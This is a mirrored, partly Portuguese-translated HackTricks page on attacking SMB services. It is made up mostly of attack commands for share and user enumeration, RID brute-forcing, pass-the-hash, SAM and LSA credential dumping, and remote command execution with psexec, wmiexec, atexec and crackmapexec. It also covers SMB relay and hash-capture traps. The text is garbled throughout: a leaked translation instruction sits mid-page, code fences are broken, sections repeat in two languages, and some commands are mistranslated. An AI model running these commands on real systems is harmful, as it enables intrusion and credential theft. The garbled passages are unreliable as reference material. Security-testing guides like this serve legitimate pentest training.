mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
636 lines
32 KiB
Markdown
636 lines
32 KiB
Markdown
# 139,445 - Pentesting SMB
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## **Porta 139**
|
|
|
|
**NetBIOS** significa _Network Basic Input Output System_. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres de comprimento e geralmente é separado do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela **Porta TCP 139**. (extraído daqui [aqui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
|
```
|
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
|
```
|
|
## Porta 445
|
|
|
|
Enquanto a Porta 139 é conhecida tecnicamente como 'NBT sobre IP', a Porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block, na linguagem moderna, também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
|
|
|
|
Por exemplo, no Windows, o SMB pode ser executado diretamente sobre TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você apontou, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP\*\*.\*\* (extraído da [qui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
|
```
|
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
|
```
|
|
### SMB
|
|
|
|
O Server Message Block (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros, além de outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais recentes podem se comunicar facilmente com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.\
|
|
Com o projeto de software livre **Samba**, também há uma solução que permite o uso do **SMB no Linux** e nas distribuições Unix e, portanto, a comunicação entre plataformas via SMB.
|
|
|
|
Um servidor SMB pode fornecer **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **granular** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor.
|
|
|
|
### Compartilhamento IPC$
|
|
|
|
Do livro _**Network Security Assessment 3rd edition**_
|
|
|
|
Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de named pipes. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:
|
|
|
|
* Informações do sistema operacional
|
|
* Detalhes do domínio pai
|
|
* Uma lista de usuários e grupos locais
|
|
* Detalhes dos compartilhamentos SMB disponíveis
|
|
* A política de segurança efetiva do sistema
|
|
|
|
## O que é NTLM
|
|
|
|
Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusar dele, encontrará muito interessante esta página sobre **NTLM**, onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele**:
|
|
|
|
{% content-ref url="../windows-hardening/ntlm/" %}
|
|
[ntlm](../windows-hardening/ntlm/)
|
|
{% endcontent-ref %}
|
|
|
|
## **Enumeração do Servidor**
|
|
|
|
### **Digitalize** uma rede em busca de hosts:
|
|
```bash
|
|
nbtscan -r 192.168.0.1/24
|
|
```
|
|
### Versão do servidor SMB
|
|
|
|
Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
|
|
|
|
* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
|
* Ou este script:
|
|
```bash
|
|
#!/bin/sh
|
|
#Author: rewardone
|
|
#Description:
|
|
# Requires root or enough permissions to use tcpdump
|
|
# Will listen for the first 7 packets of a null login
|
|
# and grab the SMB Version
|
|
#Notes:
|
|
# Will sometimes not capture or will print multiple
|
|
# lines. May need to run a second time for success.
|
|
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
|
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
|
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
|
echo "" && sleep .1
|
|
```
|
|
### **Pesquisar exploit**
|
|
|
|
To search for exploits, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These platforms provide a collection of known vulnerabilities and associated exploits that can be used during penetration testing. By searching for specific vulnerabilities related to the target network service, you can find relevant exploits that can be used to gain unauthorized access or perform other malicious activities. It is important to note that using exploits without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before conducting any penetration testing activities.
|
|
```bash
|
|
msf> search type:exploit platform:windows target:2008 smb
|
|
searchsploit microsoft smb
|
|
```
|
|
### **Possíveis** Credenciais
|
|
|
|
| **Nome de usuário(s)** | **Senhas comuns** |
|
|
| --------------------- | ----------------------------------------- |
|
|
| _(em branco)_ | _(em branco)_ |
|
|
| convidado | _(em branco)_ |
|
|
| Administrador, admin | _(em branco)_, senha, administrador, admin |
|
|
| arcserve | arcserve, backup |
|
|
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
|
| backupexec, backup | backupexec, backup, arcada |
|
|
| teste, laboratório, demonstração | senha, teste, laboratório, demonstração |
|
|
|
|
### Informações do Ambiente SMB
|
|
|
|
### Obter Informações
|
|
```bash
|
|
#Dump interesting information
|
|
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
|
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
|
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
|
|
|
#Connect to the rpc
|
|
rpcclient -U "" -N <IP> #No creds
|
|
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
|
rpcclient -U "username%passwd" <IP> #With creds
|
|
#You can use querydispinfo and enumdomusers to query user information
|
|
|
|
#Dump user information
|
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
|
|
|
#Map possible RPC endpoints
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
|
```
|
|
### Enumerar Usuários, Grupos e Usuários Logados
|
|
|
|
|
|
# Essas informações já devem ter sido coletadas usando o enum4linux e enum4linux-ng
|
|
```bash
|
|
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
|
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
|
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
|
|
|
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
|
|
|
rpcclient -U "" -N 10.10.10.10
|
|
enumdomusers
|
|
enumdomgroups
|
|
```
|
|
### Enumerar usuários locais
|
|
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
|
```bash
|
|
lookupsid.py -no-pass hostname.local
|
|
```
|
|
O seguinte é conteúdo de um livro de hacking sobre técnicas de hacking. O seguinte conteúdo é do arquivo network-services-pentesting/pentesting-smb.md. Traduza o texto relevante em inglês para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Também não adicione nada extra além da tradução e da sintaxe markdown.
|
|
```bash
|
|
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
|
```
|
|
### Metasploit - Enumerar usuários locais
|
|
```bash
|
|
use auxiliary/scanner/smb/smb_lookupsid
|
|
set rhosts nome_do_host.local
|
|
run
|
|
```
|
|
|
|
### **Enumerating LSARPC and SAMR rpcclient**
|
|
|
|
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
|
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
|
{% endcontent-ref %}
|
|
|
|
### GUI connection from linux
|
|
|
|
#### In the terminal:
|
|
|
|
`xdg-open smb://cascade.htb/`
|
|
|
|
#### In file browser window (nautilus, thunar, etc)
|
|
|
|
`smb://friendzone.htb/general/`
|
|
|
|
## Shared Folders Enumeration
|
|
|
|
### List shared folders
|
|
|
|
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
|
|
|
|
```bash
|
|
```markdown
|
|
# smbclient --no-pass -L //<IP> # Usuário nulo
|
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
|
|
|
|
# smbmap -H <IP> [-P <PORT>] # Usuário nulo
|
|
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # Credenciais
|
|
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
|
|
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # Lista recursiva
|
|
|
|
# crackmapexec smb <IP> -u '' -p '' --shares # Usuário nulo
|
|
crackmapexec smb <IP> -u 'username' -p 'password' --shares # Usuário convidado
|
|
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # Usuário convidado
|
|
```
|
|
```
|
|
|
|
### **Connect/List a shared folder**
|
|
|
|
```bash
|
|
#Conectar usando smbclient
|
|
smbclient --no-pass //<IP>/<Pasta>
|
|
smbclient -U 'nome_de_usuário[%senha]' -L [--pw-nt-hash] //<IP> #Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
|
|
#Use --no-pass -c 'recurse;ls' para listar recursivamente com smbclient
|
|
|
|
#Listar com smbmap, sem especificar a pasta lista tudo
|
|
smbmap [-u "nome_de_usuário" -p "senha"] -R [Pasta] -H <IP> [-P <PORTA>] # Lista recursiva
|
|
smbmap [-u "nome_de_usuário" -p "senha"] -r [Pasta] -H <IP> [-P <PORTA>] # Lista não recursiva
|
|
smbmap -u "nome_de_usuário" -p "<NT>:<LM>" [-r/-R] [Pasta] -H <IP> [-P <PORTA>] # Pass-the-Hash
|
|
```
|
|
|
|
### **Manually enumerate windows shares and connect to them**
|
|
|
|
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
|
|
|
|
Common share names for windows targets are
|
|
|
|
* C$
|
|
* D$
|
|
* ADMIN$
|
|
* IPC$
|
|
* PRINT$
|
|
* FAX$
|
|
* SYSVOL
|
|
* NETLOGON
|
|
|
|
(Common share names from _**Network Security Assessment 3rd edition**_)
|
|
|
|
You can try to connect to them by using the following command
|
|
|
|
```bash
|
|
```markdown
|
|
# Pentesting SMB
|
|
|
|
## Conexão de sessão nula para se conectar a um compartilhamento do Windows
|
|
```
|
|
`smbclient -U '%' -N \\\\<IP>\\<SHARE>`
|
|
|
|
```markdown
|
|
## Conexão autenticada para se conectar a um compartilhamento do Windows (será solicitada uma senha)
|
|
```
|
|
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>`
|
|
```
|
|
|
|
or this script (using a null session)
|
|
|
|
```bash
|
|
#/bin/bash
|
|
|
|
ip='<TARGET-IP-HERE>'
|
|
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
|
|
|
for share in ${shares[*]}; do
|
|
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
|
|
|
if [[ -z $output ]]; then
|
|
echo "[+] é possível criar uma sessão nula para $share" # no output if command goes through, thus assuming that a session was created
|
|
else
|
|
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
|
fi
|
|
done
|
|
```
|
|
|
|
examples
|
|
|
|
```bash
|
|
```markdown
|
|
# Pentesting SMB
|
|
|
|
## Enumerating SMB Shares
|
|
|
|
To enumerate SMB shares, you can use the `smbclient` tool. Here are a couple of examples:
|
|
|
|
1. Enumerating a non-existent share:
|
|
|
|
```bash
|
|
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # retorna NT_STATUS_BAD_NETWORK_NAME
|
|
```
|
|
|
|
2. Enumerating the ADMIN$ share:
|
|
|
|
```bash
|
|
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # retorna NT_STATUS_ACCESS_DENIED ou até mesmo fornece uma sessão
|
|
```
|
|
```
|
|
```
|
|
|
|
### Mount a shared folder
|
|
|
|
```bash
|
|
```
|
|
Montar -t cifs //x.x.x.x/compartilhamento /mnt/compartilhamento
|
|
Montar -t cifs -o "username=usuário,password=senha" //x.x.x.x/compartilhamento /mnt/compartilhamento
|
|
```
|
|
```
|
|
|
|
### **Download files**
|
|
|
|
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
|
|
|
|
```bash
|
|
# Procurar um arquivo e baixar
|
|
sudo smbmap -R Pasta -H <IP> -A <NomeDoArquivo> -q # Procura o arquivo em modo recursivo e o baixa dentro de /usr/share/smbmap
|
|
```
|
|
|
|
```bash
|
|
# Baixar tudo
|
|
smbclient //<IP>/<compartilhamento>
|
|
> mask ""
|
|
> recurse
|
|
> prompt
|
|
> mget *
|
|
# Baixar tudo para o diretório atual
|
|
```
|
|
|
|
Commands:
|
|
|
|
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
|
|
* recurse: toggles recursion on (default: off)
|
|
* prompt: toggles prompting for filenames off (default: on)
|
|
* mget: copies all files matching the mask from host to client machine
|
|
|
|
(_Information from the manpage of smbclient_)
|
|
|
|
### Domain Shared Folders Search
|
|
|
|
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
|
|
|
```bash
|
|
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|
|
|
O Snaffler.exe é uma ferramenta de pentesting que pode ser usada para explorar vulnerabilidades em serviços SMB (Server Message Block). O comando acima inicia o Snaffler em modo silencioso (-s) e especifica o domínio alvo como "domain.local" (-d domain.local). O resultado da exploração será salvo em um arquivo de log chamado "snaffler.log" (-o snaffler.log). A opção -v data indica que o Snaffler deve coletar informações sobre os dados encontrados durante a exploração.
|
|
```
|
|
|
|
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
|
* `-M spider_plus [--share <share_name>]`
|
|
* `--pattern txt`
|
|
|
|
```bash
|
|
```
|
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Compartilhamentos do Departamento'
|
|
```
|
|
```
|
|
|
|
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
|
|
|
{% hint style="info" %}
|
|
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
|
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
|
{% endhint %}
|
|
|
|
## Read Registry
|
|
|
|
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
|
|
|
```bash
|
|
```
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
|
```
|
|
|
|
```
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
|
```
|
|
```
|
|
|
|
## Post Exploitation
|
|
|
|
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
|
|
|
| **Setting** | **Description** |
|
|
| --------------------------- | ------------------------------------------------------------------- |
|
|
| `browseable = yes` | Allow listing available shares in the current share? |
|
|
| `read only = no` | Forbid the creation and modification of files? |
|
|
| `writable = yes` | Allow users to create and modify files? |
|
|
| `guest ok = yes` | Allow connecting to the service without using a password? |
|
|
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
|
|
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
|
|
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
|
|
| `logon script = script.sh` | What script needs to be executed on the user's login? |
|
|
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
|
|
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
|
|
|
|
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
|
|
|
## Authenticate using Kerberos
|
|
|
|
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
|
|
|
```bash
|
|
# Pentesting SMB
|
|
|
|
## Enumerating SMB Shares
|
|
|
|
To enumerate SMB shares on a target machine, you can use the `smbclient` command with the `--kerberos` option. For example, to enumerate the shares on the machine `ws01win10.domain.com`, you can run the following command:
|
|
|
|
```bash
|
|
smbclient --kerberos //ws01win10.domain.com/C$
|
|
```
|
|
|
|
## Enumerating RPC Services
|
|
|
|
To enumerate RPC services on a target machine, you can use the `rpcclient` command with the `-k` option. For example, to enumerate the RPC services on the machine `ws01win10.domain.com`, you can run the following command:
|
|
|
|
```bash
|
|
rpcclient -k ws01win10.domain.com
|
|
```
|
|
|
|
---
|
|
|
|
# Pentesting SMB
|
|
|
|
## Enumerando Compartilhamentos SMB
|
|
|
|
Para enumerar os compartilhamentos SMB em uma máquina de destino, você pode usar o comando `smbclient` com a opção `--kerberos`. Por exemplo, para enumerar os compartilhamentos na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:
|
|
|
|
```bash
|
|
smbclient --kerberos //ws01win10.domain.com/C$
|
|
```
|
|
|
|
## Enumerando Serviços RPC
|
|
|
|
Para enumerar os serviços RPC em uma máquina de destino, você pode usar o comando `rpcclient` com a opção `-k`. Por exemplo, para enumerar os serviços RPC na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:
|
|
|
|
```bash
|
|
rpcclient -k ws01win10.domain.com
|
|
```
|
|
```
|
|
|
|
## **Execute Commands**
|
|
|
|
### **crackmapexec**
|
|
|
|
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
|
|
|
|
```bash
|
|
```markdown
|
|
apt-get install crackmapexec
|
|
|
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Executar Powershell
|
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Executar cmd
|
|
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
|
# Usando --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
|
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump do SAM
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump de hashes do LSASS na memória
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Obter sessões
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Obter usuários logados
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerar os discos
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerar usuários
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #Enumerar grupos
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #Enumerar grupos locais
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Obter política de senha
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #Brute force de RID
|
|
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|
```
|
|
```html
|
|
```
|
|
```
|
|
|
|
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
|
|
|
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
|
|
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
# Se nenhuma senha for fornecida, será solicitada
|
|
./psexec.py [[domínio/]nome de usuário[:senha]@]<nome do alvo ou endereço>
|
|
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
|
psexec \\192.168.122.66 -u Administrador -p 123456Ww
|
|
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
|
```
|
|
|
|
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
|
|
|
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
|
|
|
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
#Se nenhuma senha for fornecida, será solicitada
|
|
./wmiexec.py [[domínio/]nomeDeUsuário[:senha]@]<nomeDoAlvo ou endereço> #Solicitar senha
|
|
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
|
|
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
|
|
```
|
|
|
|
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
|
|
|
```bash
|
|
#Se nenhuma senha for fornecida, será solicitada
|
|
./dcomexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço>
|
|
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
|
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
|
|
```
|
|
|
|
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
|
|
|
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
./atexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço> "comando"
|
|
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
|
|
```
|
|
|
|
## Impacket reference
|
|
|
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
|
|
|
## **Bruteforce users credentials**
|
|
|
|
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
|
|
|
```bash
|
|
```markdown
|
|
Execute o comando `nmap --script smb-brute -p 445 <IP>` para realizar um ataque de força bruta no serviço SMB na porta 445.
|
|
|
|
Em seguida, execute o script `ridenum.py <IP> 500 50000 /root/passwds.txt` para obter os nomes de usuário bruteforceando os RIDs e, em seguida, tente realizar um ataque de força bruta para cada nome de usuário.
|
|
```
|
|
```
|
|
|
|
## SMB relay attack
|
|
|
|
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
|
|
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
|
|
|
## SMB-Trap
|
|
|
|
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
|
|
|
This happens with the functions:
|
|
|
|
* URLDownloadToFile
|
|
* URLDownloadToCache
|
|
* URLOpenStream
|
|
* URLOpenBlockingStream
|
|
|
|
Which are used by some browsers and tools (like Skype)
|
|
|
|
.png>)
|
|
|
|
### SMBTrap using MitMf
|
|
|
|
.png>)
|
|
|
|
## NTLM Theft
|
|
|
|
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
|
|
|
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
|
|
|
## HackTricks Automatic Commands
|
|
|
|
```
|
|
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
|
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notas
|
|
Description: Notas para SMB
|
|
Note: |
|
|
Embora a porta 139 seja conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block, na linguagem moderna, também é conhecido como Common Internet File System. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
|
|
|
|
#Esses são os comandos que eu executo sempre que vejo uma porta SMB aberta
|
|
|
|
Sem credenciais
|
|
nbtscan {IP}
|
|
smbmap -H {IP}
|
|
smbmap -H {IP} -u null -p null
|
|
smbmap -H {IP} -u guest
|
|
smbclient -N -L //{IP}
|
|
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
|
rpcclient {IP}
|
|
rpcclient -U "" {IP}
|
|
crackmapexec smb {IP}
|
|
